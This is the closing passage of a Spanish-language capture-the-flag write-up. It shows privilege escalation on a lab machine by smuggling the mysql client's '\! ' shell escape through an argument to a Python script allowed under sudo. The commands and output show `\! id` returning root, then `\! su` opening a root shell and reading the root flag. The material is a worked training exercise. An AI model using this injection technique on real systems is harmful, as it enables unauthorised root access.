?         (\?) Synonym for `help'.
clear     (\c) Clear the current input statement.
connect   (\r) Reconnect to the server. Optional arguments are db and host.
delimiter (\d) Set statement delimiter.
edit      (\e) Edit command with $EDITOR.
ego       (\G) Send command to mysql server, display result vertically.
exit      (\q) Exit mysql. Same as quit.
go        (\g) Send command to mysql server.
help      (\h) Display this help.
nopager   (\n) Disable pager, print to stdout.
notee     (\t) Don't write into outfile.
pager     (\P) Set PAGER [to_pager]. Print the query results via PAGER.
print     (\p) Print current command.
prompt    (\R) Change your mysql prompt.
quit      (\q) Quit mysql.
rehash    (\#) Rebuild completion hash.
source    (\.) Execute an SQL script file. Takes a file name as an argument.
status    (\s) Get status information from the server.
system    (\!) Execute a system shell command.
tee       (\T) Set outfile [to_outfile]. Append everything into given outfile.
use       (\u) Use another database. Takes database name as argument.
charset   (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets.  
warnings  (\W) Show warnings after every statement.
nowarning (\w) Don't show warnings after every statement.
resetconnection(\x) Clean session context.
query_attributes Sets string parameters (name1 value1 name2 value2 ...) for the next query to pick up.
ssl_session_data_print Serializes the current SSL session data to stdout or file

For server side help, type 'help contents'

mysql> \! id;
uid=1000(carlos) gid=1000(carlos) groups=1000(carlos)  
mysql>

Si esta hubiera sido nuestro argumento en el script la query que se hubiera ejecutado seria la siguiente, que aunque la sintaxis no es perfecta se ejecuta

mysql> SELECT * FROM projects WHERE proid = \! id;
uid=1000(carlos) gid=1000(carlos) groups=1000(carlos)  
    ->

Podemos comprobarlo, le pasamos \! id como primer argumento y ocultamos los errores, como lo ejecutamos con sudo el output del comando id es de root

carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py '\! id' 2>/dev/null  
uid=0(root) gid=0(root) groups=0(root)
carlos@literal:~$

Simplemente nos queda cambiar el id por su para convertirnos en root y ver la flag

carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py '\! su'  
root@literal:~# id
uid=0(root) gid=0(root) groups=0(root)
root@literal:~# hostname -I
192.168.100.87
root@literal:~# cat /root/root.txt
ca4**************************730
root@literal:~#